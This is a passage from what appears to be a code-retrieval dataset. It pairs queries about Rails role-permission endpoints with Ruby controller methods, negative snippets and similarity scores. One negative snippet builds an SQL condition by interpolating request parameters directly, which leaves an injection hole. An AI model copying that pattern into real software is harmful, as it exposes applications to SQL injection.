"0.59334743",
"0.59254384",
"0.59254384",
"0.5911206",
"0.59029347",
"0.59026974",
"0.58986735",
"0.58930457",
"0.5885155",
"0.5877834",
"0.58733255",
"0.5866883",
"0.58555937",
"0.5852887",
"0.5847162",
"0.5846021",
"0.5844627",
"0.584234",
"0.584234",
"0.5840991",
"0.5839676",
"0.58370787",
"0.583558",
"0.5831195",
"0.58310825",
"0.58300775",
"0.5827702",
"0.5825986",
"0.5824175",
"0.5819687",
"0.5816972",
"0.58160657",
"0.5815933",
"0.581565"
] | 0.0 | -1 |
GET /role_permissions GET /role_permissions.json | def index
@role_permissions = RolePermission.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @permissions = @role.permissions\n end",
"def role_permissions\n return @role_permissions\n end",
"def index\n index_helper\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @role_permissions }\n end\n end",
"def permissions\n Roles.type_map[role_type].permissions\n end",
"def index\n @rolepermissions = Rolepermission.all\n end",
"def role_permissions=(value)\n @role_permissions = value\n end",
"def permissions\n Rails.cache.fetch(\"permissions_#{self.id}\", expire_in: 1.month) do\n self.roles.map(&:permissions).flatten\n end\n end",
"def permissions\n if @permissions.nil?\n perm_array = []\n roles.each { |r| perm_array << r.permission_ids }\n @permissions = perm_array.flatten.uniq\n else\n @permissions\n end\n end",
"def show\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def load_permissions \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]} \n end",
"def get_role_permissions(role_id, options = {})\n raise Auth0::MissingParameter, 'Must supply a valid role_id' if role_id.to_s.empty?\n\n request_params = {\n per_page: options.fetch(:per_page, nil),\n page: options.fetch(:page, nil),\n include_totals: options.fetch(:include_totals, nil)\n }\n get \"#{roles_path}/#{role_id}/permissions\", request_params\n end",
"def show\n @role_permission = RolePermission.find(params[:id])\n #authorize! :show, @role_permission\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role_permission }\n end\n end",
"def add_permissions\r\n @role = Role.find(params[:id])\r\n end",
"def show\n @lab_permissions_role = LabPermissionsRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_permissions_role }\n end\n end",
"def permission_resources\n %w{roles sites employees classrooms students gapps_org_units}\n end",
"def permissions\n objects_from_response(Code42::Permission, :get, 'permission')\n end",
"def permitted_roles privilege\n result = JSON.parse url_for(:resources_permitted_roles, credentials, id, privilege).get\n if result.is_a?(Hash) && ( count = result['count'] )\n count\n else\n result\n end\n end",
"def all_permissions\n return permissions unless role\n (permissions + role.permissions).uniq\n end",
"def index\n authorize Role\n\n respond_to do |format|\n format.json { render json: @roles }\n end\n end",
"def role\n permission_type\n end",
"def load_permissions\n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end",
"def show\r\n \r\n @role = Role.find(params[:id])\r\n @permissions = @role.permissions.group_by &:subject_class\r\n end",
"def all_permissions\n permissions = Array.new\n \n all_roles.each do |role|\n permissions.concat(role.permissions)\n end\n \n return permissions\n end",
"def load_permissions\n \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end",
"def update\n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_permissions\n \t@permissions = Permission.where(\"resource_id = #{params[:resource_id]} AND resource_type = '#{params[:resource_type]}' AND status = 1\") \t\n \trespond_to do |format| \t\n format.js\n end\n end",
"def permissions\n @attributes[:permissions]\n end",
"def permissions\n @attributes[:permissions]\n end",
"def get_permissions\n permissions.keys\n end",
"def get_permissions\n permissions.keys\n end",
"def permissions\n read_attribute(:permissions) || {}\n end",
"def permissions\n @resource_permissions\n end",
"def my_permissions\n @my_permissions ||= self.roles.map {|r| r.permissions.map {|p| p.name}}.flatten.freeze\n end",
"def show\n @permission = Permission.find(params[:permission][:id])\n @role = Role.find(params[:role][:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json =>@permission }\n end\n end",
"def list_permissions\n BrickFTP::API::Permission.all\n end",
"def list_permissions\n BrickFTP::API::Permission.all\n end",
"def existing_permissions(role)\n role.permissions.where.not(action: CardPermissions::STATELESS_ACTIONS).where.not(filter_by_card_id: nil)\n end",
"def permissions\n\t\tauthorize @user\n\t\t@permissions = []\n\t\tonly_theirs = \"Only theirs\"\n\t\tyes = \"Yes\"\n\t\tno = \"No\"\n\t\tnames = [\"View positions\", \"Create positions\", \"Edit positions\", \"Delete positions\",\n\t\t \"Apply\", \"View applications\", \"Edit applications\", \"Delete applications\",\n\t\t \"Change application submission status\"]\n\t\tadmin_permissions = [yes, yes, yes, yes, yes, \"All\", yes, yes, yes]\n\t\tmod_permissions = [yes, no, yes, no, yes, \"All but incomplete\", only_theirs, only_theirs, yes]\n\t\tuser_permissions = [yes, no, no, no, yes, only_theirs, only_theirs, only_theirs, no]\n\t\tnames.each_with_index do |permission, index|\n\t\t\t@permissions << { name: names[index], admin: admin_permissions[index], mod: mod_permissions[index], user: user_permissions[index]}\n\t\tend\n\n @title = 'Permissions'\n\tend",
"def index\n authorize Role\n @roles = Role.all\n end",
"def permissions\n return @permissions\n end",
"def update\n load_permissions\n ids = params[:permissions].select {|k, v| v == \"1\"}.map {|k,v| k.to_i }\n if ids.length > 0\n permissions = Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n @role = Role.find(params[:id])\n params[:role][:permissions] = permissions\n if @role.update_attributes(params[:role])\n flash[:notice] = \"修改角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = '修改角色失败'\n redirect_to :action => 'edit', :id => @role.id\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'edit', :id => @role.id\n end\n end",
"def list_permissions_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RolesAPI.list_permissions ...'\n end\n # resource path\n local_var_path = '/api/v2/permissions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'PermissionsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :list_permissions,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RolesAPI#list_permissions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def permissions( force_reload = false )\n\n # Two levels of joins here, so can't use has_many :through\n if force_reload\n @permissions = nil \n @permissions_by_class_and_op = {}\n end\n\n cond_str = 'role_id in ' + self.class.role_assigned_cond( '?' )\n if !instance_variable_defined?(\"@permissions\") || @permissions.nil?\n @permissions ||= Permission.where([cond_str, self]).to_a\n end\n\n return @permissions\n end",
"def test_iam_permissions *permissions\n ensure_service!\n grpc = service.test_table_permissions instance_id, name, permissions.flatten\n grpc.permissions.to_a\n end",
"def get_permissions\n permissions = Hash.new\n permissions[:CanEditAllTeams] = 1\n permissions[:CanEditAllPlayers] = 2\n permissions[:CanEditAllSeasons] = 3\n permissions[:CanEditAllDivisions] = 4\n permissions[:CanEditAllRatings] = 5\n permissions[:CanEditAllRoles] = 6\n permissions[:CanEditAllPermissions] = 7\n permissions[:CanImport] = 8\n permissions[:CanApproveRatings] = 10\n @permissions = permissions\n end",
"def update\n @role = Role.find(params[:id])\n \n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: t(:role_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(role_params) \n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_permissions_by_resource resource_uuid\n resource_uuid = resource_uuid.uuid if resource_uuid.is_a?(Resource)\n \n @permissions.find_all{|per|per.resource_uuid == resource_uuid}\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n @role.permissions = params[:role][:permission].map do |key, value|\n index = value[\"index\"] == \"1\" ? true : false\n index = true if value[\"new\"] == \"1\" || value[\"edit\"] == \"1\" || value[\"remove\"] == \"1\"\n Permission.update(value[\"id\"], :index => index, :new => value[\"new\"], :edit => value[\"edit\"], :remove => value[\"remove\"], :import => value[\"import\"])\n end\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_permissions(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:get, \"users/#{id}/permissions\", params)\n end",
"def show\n @permissions = Permission.all\n end",
"def new\n \n @roles_and_permission = @roles.roles_and_permission.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def admin_permissions\n {\n id: 1,\n appendable_permissions: [\n { permission_type: 'basic' },\n { permission_type: 'admin' }\n ]\n }\n end",
"def index\n @permissions = Permission.all\n end",
"def admin_grant_permissions\n user = User.find(params[:id])\n authorize user\n\n # Super admin can grant any Perm, org admins can only grant Perms they\n # themselves have access to\n perms = if current_user.can_super_admin?\n Perm.all\n else\n current_user.perms\n end\n\n render json: {\n 'user' => {\n 'id' => user.id,\n 'html' => render_to_string(partial: 'users/admin_grant_permissions',\n locals: { user: user, perms: perms },\n formats: [:html])\n }\n }.to_json\n end",
"def create\n @role = Role.new(params[:role])\n\n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: t(:role_created) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def permission_level(repo, collaborator, options={})\n get \"#{Repository.path repo}/collaborators/#{collaborator}/permission\", options\n end",
"def permissions\n attribute_prop(5)\n end",
"def show\n @all_permissions = Permission.all\n end",
"def permissions_for(game)\n self.permissions.where(\"user_roles.game_id = ?\", game.id)\n end",
"def list_role_permissions_with_http_info(role_id, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RolesAPI.list_role_permissions ...'\n end\n # verify the required parameter 'role_id' is set\n if @api_client.config.client_side_validation && role_id.nil?\n fail ArgumentError, \"Missing the required parameter 'role_id' when calling RolesAPI.list_role_permissions\"\n end\n # resource path\n local_var_path = '/api/v2/roles/{role_id}/permissions'.sub('{role_id}', CGI.escape(role_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'PermissionsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :list_role_permissions,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RolesAPI#list_role_permissions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def custom_permissions\n discover_permissions\n export_sets_permissions\n batches_permissions\n preservation_events_permissions\n end",
"def rolepermission_params\n params.fetch(:rolepermission, {})\n end",
"def restapi_permission\n @attributes[:restapi_permission]\n end",
"def role_params\n params.require(:role).permit(:name, :permission_ids => [])\n end",
"def permission\n Ricer::Irc::Permission.by_permission(self.permissions, authenticated?)\n end",
"def index\n @permissionviewroles = Permissionviewrole.all\n end",
"def role_permission_params\n params.fetch(:role_permission, {}).permit(:role_id, :permission_id)\n end",
"def show\n @permissionviews = Permissionview.all\n @roles = Role.all\n end",
"def roles_with_permission\n shift.location.loc_group.roles\n end",
"def index\n @role_permisions = RolePermision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @role_permisions }\n end\n end",
"def permissions=(value)\n @permissions = value\n end",
"def permission_keys\n return @permission_keys if @permission_keys\n\n role_keys = if role(true)\n role_key = \"#{role.cache_key}/permissions\"\n\n keys = Rails.cache.fetch(role_key) do\n role.permission_keys.clone\n end\n\n Rails.cache.write(role_key, keys)\n keys\n else\n []\n end\n\n user_keys = Rails.cache.fetch(permissions_cache_key) do\n user_permission_keys.clone\n end\n\n user_keys = [] unless user_keys\n\n Rails.cache.write(permissions_cache_key, keys) unless new_record?\n\n @permission_keys = (role_keys + user_keys).uniq\n end",
"def show\n @role_permision = RolePermision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role_permision }\n end\n end",
"def test_permissions *permissions\n permissions = Array(permissions).flatten\n permissions = Array(permissions).flatten\n ensure_service!\n grpc = service.test_instance_permissions path, permissions\n grpc.permissions\n end",
"def get_roles_list()\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role'\n get_request(resource_path, query_parameters, nil)\n end",
"def add_role_permissions(permissions_model, role)\n if permissions_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('permissions_model')\n end\n if isNullOrWhiteSpace(role)\n raise LoginRadius::Error.new, getValidationMessage('role')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role/' + role + '/permission'\n put_request(resource_path, query_parameters, permissions_model)\n end",
"def permissions(options: {})\n Permissions.new(fetch(\n path: Permissions::PATH.call(id),\n options: options\n )).permissions\n end",
"def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end",
"def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end",
"def permissions = {}",
"def index\n @permissions = Permission.find(:all)\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.xml { render :xml => @permissions }\n\t\tend\n end",
"def role_permission_params\n params.require(:role_permission).permit(:role_id, :permission_id, :hierarchy_id, :hierarchy_type)\n end",
"def permissions\n User.do_find_permissions session_id: kb_session_id\n end",
"def attributes\n permissions.select { |k, v| v.present? }.as_json\n end",
"def roles_ids_for_permissions(permissions = [])\n p = permissions.collect { |name| Role.find_or_create_by(name: name) }.collect { |role| role.id }\n puts \"IDS: #{p}\"\n p\n end",
"def create\n submenu_item 'role_new'\n load_permissions\n ids=params[:permissions].select{|k,v| v=='1'}.map { |k,v| k.to_i } unless params[:permissions].nil?\n if ids.length > 0\n permissions=Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n params[:role][:permissions] = permissions\n @role = Role.new(params[:role])\n if @role.save\n flash[:notice] = \"创建角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = \"创建角色失败\"\n render :action => 'new'\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'new'\n end\n\n end",
"def getPermissions\n perms = []\n perms.push :disseminate if params[:disseminate_perm] == \"on\"\n perms.push :withdraw if params[:withdraw_perm] == \"on\"\n perms.push :peek if params[:peek_perm] == \"on\"\n perms.push :submit if params[:submit_perm] == \"on\"\n perms.push :report if params[:report_perm] == \"on\" \n perms \n end",
"def admin_grant_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n user_perms = current_user.perms\n @perms = user_perms & [Perm.grant_permissions, Perm.modify_templates, Perm.modify_guidance, Perm.use_api, Perm.change_org_details]\n end",
"def set_role_permission\n @role_permission = RolePermission.find(params[:id])\n end",
"def set_role_permission\n @role_permission = RolePermission.find(params[:id])\n end",
"def list(options = {})\n @raw = send_get_request(@conn_no_err, ['/v1/acl/roles'], options)\n raise Diplomat::AclNotFound if @raw.status == 403\n\n parse_body\n end",
"def permissions\n [\"read_permissions\", \"update_permissions\", \"delete_permissions\"].each do |p|\n perms = self.send(p)\n perm_string = []\n AssetPermission::GROUP.each do |g, v|\n if perms & AssetPermission::GROUP[g] > 0\n perm_string << g\n end\n end\n puts \"#{self.name}: #{p}: #{perm_string.join(',')}\"\n end\n end",
"def check_permission(event, role)\n case role\n when 'botmaster'\n {\n granted: event.user.id == BOTMASTER_ID,\n allowed: ['botmasters']\n }\n else\n names = Role.owners(role).pluck(:username)\n {\n granted: Role.exists(event.user.id, role),\n allowed: role.pluralize #names\n }\n end\nend",
"def index\n return unless check_permission\n\n @roles = Role.left_joins(:user)\n end",
"def get_user_roles\n @roles = @user.roles.pluck(:name)\n render json: @roles\n end",
"def new\n @lab_permissions_role = LabPermissionsRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_permissions_role }\n end\n end",
"def index\n @permissions = Permission.all\n @page_title = I18n.t(:permissions_list_header)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @permissions }\n end\n end",
"def index\n @permissions = Permission.all\n\n #read permissions from yaml file\n read_permissions\n \n @domains = Domain.find(:all, :conditions => { :is_role => 1 })\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @permissions }\n end\n end",
"def index\n @permissions = Permission.all\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @permissions.to_xml }\n end\n end"
] | [
"0.7905877",
"0.7544304",
"0.746048",
"0.73831844",
"0.733874",
"0.73187125",
"0.73051906",
"0.7292113",
"0.7248183",
"0.7146382",
"0.71400607",
"0.7135353",
"0.71282166",
"0.71179444",
"0.71124387",
"0.7088553",
"0.7062083",
"0.7036797",
"0.70311975",
"0.69700336",
"0.6960986",
"0.6893329",
"0.6876716",
"0.6853341",
"0.684686",
"0.6824619",
"0.681445",
"0.681445",
"0.6777483",
"0.6777483",
"0.67545366",
"0.67501247",
"0.67375207",
"0.6681702",
"0.6655743",
"0.6655743",
"0.6636506",
"0.66033226",
"0.65620863",
"0.654837",
"0.65403515",
"0.653818",
"0.6506341",
"0.65056646",
"0.6500223",
"0.6490991",
"0.64886194",
"0.6472095",
"0.6469787",
"0.6466461",
"0.6455734",
"0.6452059",
"0.64451224",
"0.6418278",
"0.6390553",
"0.63902813",
"0.6369656",
"0.6367592",
"0.6365858",
"0.63575786",
"0.6351665",
"0.63400006",
"0.6336068",
"0.6326975",
"0.6310821",
"0.6293422",
"0.6279249",
"0.624175",
"0.62339425",
"0.6232093",
"0.61978114",
"0.61927825",
"0.6180537",
"0.6162245",
"0.6160204",
"0.61535716",
"0.6152447",
"0.6150859",
"0.61426353",
"0.61426353",
"0.6141317",
"0.6140887",
"0.61310226",
"0.6128215",
"0.6117392",
"0.6110141",
"0.6100465",
"0.6100123",
"0.60979366",
"0.60967165",
"0.60967165",
"0.6095264",
"0.6095106",
"0.60906404",
"0.6084809",
"0.6082115",
"0.60699725",
"0.6067122",
"0.60664713",
"0.60577863"
] | 0.7490713 | 2 |
GET /role_permissions/1 GET /role_permissions/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @permissions = @role.permissions\n end",
"def show\n @role_permission = RolePermission.find(params[:id])\n #authorize! :show, @role_permission\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role_permission }\n end\n end",
"def index\n index_helper\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @role_permissions }\n end\n end",
"def index\n @role_permissions = RolePermission.all\n end",
"def show\n @lab_permissions_role = LabPermissionsRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_permissions_role }\n end\n end",
"def show\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def index\n @rolepermissions = Rolepermission.all\n end",
"def add_permissions\r\n @role = Role.find(params[:id])\r\n end",
"def role_permissions\n return @role_permissions\n end",
"def permissions\n Rails.cache.fetch(\"permissions_#{self.id}\", expire_in: 1.month) do\n self.roles.map(&:permissions).flatten\n end\n end",
"def role_permissions=(value)\n @role_permissions = value\n end",
"def role\n permission_type\n end",
"def permissions\n Roles.type_map[role_type].permissions\n end",
"def show\n @permission = Permission.find(params[:permission][:id])\n @role = Role.find(params[:role][:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json =>@permission }\n end\n end",
"def permissions\n if @permissions.nil?\n perm_array = []\n roles.each { |r| perm_array << r.permission_ids }\n @permissions = perm_array.flatten.uniq\n else\n @permissions\n end\n end",
"def permissions\n objects_from_response(Code42::Permission, :get, 'permission')\n end",
"def load_permissions \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]} \n end",
"def get_permissions\n \t@permissions = Permission.where(\"resource_id = #{params[:resource_id]} AND resource_type = '#{params[:resource_type]}' AND status = 1\") \t\n \trespond_to do |format| \t\n format.js\n end\n end",
"def show\r\n \r\n @role = Role.find(params[:id])\r\n @permissions = @role.permissions.group_by &:subject_class\r\n end",
"def permitted_roles privilege\n result = JSON.parse url_for(:resources_permitted_roles, credentials, id, privilege).get\n if result.is_a?(Hash) && ( count = result['count'] )\n count\n else\n result\n end\n end",
"def index\n authorize Role\n\n respond_to do |format|\n format.json { render json: @roles }\n end\n end",
"def permissions\n @attributes[:permissions]\n end",
"def permissions\n @attributes[:permissions]\n end",
"def update\n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def all_permissions\n return permissions unless role\n (permissions + role.permissions).uniq\n end",
"def get_role_permissions(role_id, options = {})\n raise Auth0::MissingParameter, 'Must supply a valid role_id' if role_id.to_s.empty?\n\n request_params = {\n per_page: options.fetch(:per_page, nil),\n page: options.fetch(:page, nil),\n include_totals: options.fetch(:include_totals, nil)\n }\n get \"#{roles_path}/#{role_id}/permissions\", request_params\n end",
"def permissions\n read_attribute(:permissions) || {}\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n @role.permissions = params[:role][:permission].map do |key, value|\n index = value[\"index\"] == \"1\" ? true : false\n index = true if value[\"new\"] == \"1\" || value[\"edit\"] == \"1\" || value[\"remove\"] == \"1\"\n Permission.update(value[\"id\"], :index => index, :new => value[\"new\"], :edit => value[\"edit\"], :remove => value[\"remove\"], :import => value[\"import\"])\n end\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n \n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: t(:role_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def restapi_permission\n @attributes[:restapi_permission]\n end",
"def load_permissions\n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end",
"def update\n load_permissions\n ids = params[:permissions].select {|k, v| v == \"1\"}.map {|k,v| k.to_i }\n if ids.length > 0\n permissions = Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n @role = Role.find(params[:id])\n params[:role][:permissions] = permissions\n if @role.update_attributes(params[:role])\n flash[:notice] = \"修改角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = '修改角色失败'\n redirect_to :action => 'edit', :id => @role.id\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'edit', :id => @role.id\n end\n end",
"def permission_resources\n %w{roles sites employees classrooms students gapps_org_units}\n end",
"def permissions\n @resource_permissions\n end",
"def show\n @permissions = Permission.all\n end",
"def get_permissions\n permissions.keys\n end",
"def get_permissions\n permissions.keys\n end",
"def new\n \n @roles_and_permission = @roles.roles_and_permission.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def index\n @permissions = Permission.all\n end",
"def load_permissions\n \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end",
"def get_permissions_by_resource resource_uuid\n resource_uuid = resource_uuid.uuid if resource_uuid.is_a?(Resource)\n \n @permissions.find_all{|per|per.resource_uuid == resource_uuid}\n end",
"def my_permissions\n @my_permissions ||= self.roles.map {|r| r.permissions.map {|p| p.name}}.flatten.freeze\n end",
"def show\n @all_permissions = Permission.all\n end",
"def permission\n Ricer::Irc::Permission.by_permission(self.permissions, authenticated?)\n end",
"def all_permissions\n permissions = Array.new\n \n all_roles.each do |role|\n permissions.concat(role.permissions)\n end\n \n return permissions\n end",
"def show\n @role_permision = RolePermision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role_permision }\n end\n end",
"def admin_grant_permissions\n user = User.find(params[:id])\n authorize user\n\n # Super admin can grant any Perm, org admins can only grant Perms they\n # themselves have access to\n perms = if current_user.can_super_admin?\n Perm.all\n else\n current_user.perms\n end\n\n render json: {\n 'user' => {\n 'id' => user.id,\n 'html' => render_to_string(partial: 'users/admin_grant_permissions',\n locals: { user: user, perms: perms },\n formats: [:html])\n }\n }.to_json\n end",
"def permission_level(repo, collaborator, options={})\n get \"#{Repository.path repo}/collaborators/#{collaborator}/permission\", options\n end",
"def permissions\n attribute_prop(5)\n end",
"def list_permissions\n BrickFTP::API::Permission.all\n end",
"def list_permissions\n BrickFTP::API::Permission.all\n end",
"def create\n @role = Role.new(params[:role])\n\n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: t(:role_created) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def permissions\n return @permissions\n end",
"def admin_permissions\n {\n id: 1,\n appendable_permissions: [\n { permission_type: 'basic' },\n { permission_type: 'admin' }\n ]\n }\n end",
"def show\n @attribute_permission = AttributePermission.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attribute_permission }\n end\n end",
